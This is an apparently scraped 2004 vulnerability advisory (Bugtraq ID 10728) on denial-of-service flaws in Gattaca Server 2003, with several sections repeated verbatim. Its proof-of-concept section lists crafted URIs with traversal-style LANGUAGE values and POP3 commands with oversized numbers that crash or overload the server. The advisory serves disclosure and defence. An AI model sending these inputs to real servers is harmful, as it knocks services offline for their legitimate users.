Gattaca Server 2003 Multiple Denial Of Service Vulnerabilities
BID:10728
Info
Gattaca Server 2003 Multiple Denial Of Service Vulnerabilities
| Bugtraq ID: | 10728 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 15 2004 12:00AM |
| Updated: | Jul 15 2004 12:00AM |
| Credit: | dr_insane <[email protected]> discovered these vulnerabilities. |
| Vulnerable: |
GeeOS Team Gattaca Server 2003 1.1.10 .0 |
| Not Vulnerable: | |
Discussion
Gattaca Server 2003 Multiple Denial Of Service Vulnerabilities
It is reported that Gattaca Server 2003 contains multiple denial of service vulnerabilities.
These vulnerabilities allow a remote attacker to crash the application, denying service to legitimate users.
Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well.
It is reported that Gattaca Server 2003 contains multiple denial of service vulnerabilities.
These vulnerabilities allow a remote attacker to crash the application, denying service to legitimate users.
Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well.
Exploit / POC
Gattaca Server 2003 Multiple Denial Of Service Vulnerabilities
No exploit is required.
Examples of URIs that may consume CPU resources:
http://www.example.com/index.tmpl?HELPID=1000&TEMPLATE=skins//water&LANGUAGE=/
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/../../../../
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=.
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//[whatever]&LANGUAGE=lang//en
Examples of POP3 commands sufficient to crash the application:
list 99999999999999999999999
retr 99999999999999999999999
uidl 98409583490583409539405
No exploit is required.
Examples of URIs that may consume CPU resources:
http://www.example.com/index.tmpl?HELPID=1000&TEMPLATE=skins//water&LANGUAGE=/
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/../../../../
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=.
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//[whatever]&LANGUAGE=lang//en
Examples of POP3 commands sufficient to crash the application:
list 99999999999999999999999
retr 99999999999999999999999
uidl 98409583490583409539405
Solution / Fix
Gattaca Server 2003 Multiple Denial Of Service Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Gattaca Server 2003 Multiple Denial Of Service Vulnerabilities
References:
References:
- Gattaca Server (GeeOS Team software)
- Gattaca Server 2003 (1.1.10.0) (dr_insane)